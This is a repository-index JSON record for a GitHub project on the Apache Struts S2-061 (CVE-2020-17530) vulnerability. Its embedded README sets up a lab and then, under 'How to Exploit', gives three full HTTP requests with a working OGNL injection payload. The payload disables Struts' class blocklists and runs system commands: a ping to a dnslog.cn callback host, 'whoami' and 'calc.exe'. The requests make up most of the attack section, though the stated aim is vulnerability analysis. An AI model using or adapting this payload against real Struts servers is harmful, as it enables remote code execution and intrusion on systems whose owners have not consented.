{"id":21616706,"url":"https://github.com/al1ex/cve-2020-17530","last_synced_at":"2025-06-24T14:37:58.052Z","repository":{"id":108707023,"uuid":"321044044","full_name":"Al1ex/CVE-2020-17530","owner":"Al1ex","description":"S2-061 CVE-2020-17530","archived":false,"fork":false,"pushed_at":"2020-12-22T15:27:51.000Z","size":572,"stargazers_count":29,"open_issues_count":0,"forks_count":8,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-04-11T08:28:42.567Z","etag":null,"topics":["cve-2020-17530","s2-061"],"latest_commit_sha":null,"homepage":"","language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Al1ex.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2020-12-13T11:02:15.000Z","updated_at":"2024-08-12T20:08:27.000Z","dependencies_parsed_at":"2023-03-22T01:18:18.704Z","dependency_job_id":null,"html_url":"https://github.com/Al1ex/CVE-2020-17530","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Al1ex/CVE-2020-17530","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2020-17530","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2020-17530/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2020-17530/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2020-17530/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Al1ex","download_url":"https://codeload.github.com/Al1ex/CVE-2020-17530/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2020-17530/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":261695082,"owners_count":23195683,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve-2020-17530","s2-061"],"created_at":"2024-11-24T22:15:09.344Z","updated_at":"2025-06-24T14:37:58.031Z","avatar_url":"https://github.com/Al1ex.png","language":"Java","funding_links":[],"categories":[],"sub_categories":[],"readme":"## What's this\r\nThis is a Simple test Project for S2-061 which can be used to analysis the detail of this vulnerability.\r\n\r\n## How to use \r\n\r\nStep 1:Use IDEA  import this project\r\n\r\nStep 2:setup tomcat Server\r\n\r\nStep 3:Use browser access \"http://192.168.174.149:8080/SimpleStruts_war_exploded/S2061.action?id=%25%7b8%2a8%7d\"\r\n\r\n![simpletst](image/simpletst.png)\r\n\r\n### How to Exploit\r\n\r\n##### SSRF Test\r\n\r\n~~~\r\nPOST /SimpleStruts_war_exploded/S2061.action HTTP/1.1\r\nHost: 192.168.174.149:8080\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2D\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Length: 846\r\n\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{(#instancemanager=#application[\"org.apache.tomcat.InstanceManager\"]).(#stack=#attr[\"com.opensymphony.xwork2.util.ValueStack.ValueStack\"]).(#bean=#instancemanager.newInstance(\"org.apache.commons.collections.BeanMap\")).(#bean.setBean(#stack)).(#context=#bean.get(\"context\")).(#bean.setBean(#context)).(#macc=#bean.get(\"memberAccess\")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(\"java.util.HashSet\")).(#bean.put(\"excludedClasses\",#emptyset)).(#bean.put(\"excludedPackageNames\",#emptyset)).(#arglist=#instancemanager.newInstance(\"java.util.ArrayList\")).(#arglist.add(\"ping 4ofoqe.dnslog.cn\")).(#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute\")).(#execute.exec(#arglist))}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF--\r\n~~~\r\n\r\n![SSRF](image/SSRF.png)\r\n\r\nDNSLog：\r\n\r\n![DNSLog](image/DNSLog.png)\r\n\r\n##### System command\r\n\r\n~~~\r\nPOST /SimpleStruts_war_exploded/S2061.action HTTP/1.1\r\nHost: 192.168.174.149:8080\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2D\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Length: 831\r\n\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{(#instancemanager=#application[\"org.apache.tomcat.InstanceManager\"]).(#stack=#attr[\"com.opensymphony.xwork2.util.ValueStack.ValueStack\"]).(#bean=#instancemanager.newInstance(\"org.apache.commons.collections.BeanMap\")).(#bean.setBean(#stack)).(#context=#bean.get(\"context\")).(#bean.setBean(#context)).(#macc=#bean.get(\"memberAccess\")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(\"java.util.HashSet\")).(#bean.put(\"excludedClasses\",#emptyset)).(#bean.put(\"excludedPackageNames\",#emptyset)).(#arglist=#instancemanager.newInstance(\"java.util.ArrayList\")).(#arglist.add(\"whoami\")).(#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute\")).(#execute.exec(#arglist))}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF--\r\n~~~\r\n\r\n![system_command](image/system_command.png)\r\n\r\n##### execute calc\r\n\r\n~~~\r\nPOST /SimpleStruts_war_exploded/S2061.action HTTP/1.1\r\nHost: 192.168.174.149:8080\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2D\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Length: 833\r\n\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{(#instancemanager=#application[\"org.apache.tomcat.InstanceManager\"]).(#stack=#attr[\"com.opensymphony.xwork2.util.ValueStack.ValueStack\"]).(#bean=#instancemanager.newInstance(\"org.apache.commons.collections.BeanMap\")).(#bean.setBean(#stack)).(#context=#bean.get(\"context\")).(#bean.setBean(#context)).(#macc=#bean.get(\"memberAccess\")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(\"java.util.HashSet\")).(#bean.put(\"excludedClasses\",#emptyset)).(#bean.put(\"excludedPackageNames\",#emptyset)).(#arglist=#instancemanager.newInstance(\"java.util.ArrayList\")).(#arglist.add(\"calc.exe\")).(#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute\")).(#execute.exec(#arglist))}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF--\r\n~~~\r\n\r\n![calc_1](image/calc_1.png)\r\n\r\nresult:![calc_2](image/calc_2.jpg)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fal1ex%2Fcve-2020-17530","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fal1ex%2Fcve-2020-17530","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fal1ex%2Fcve-2020-17530/lists"}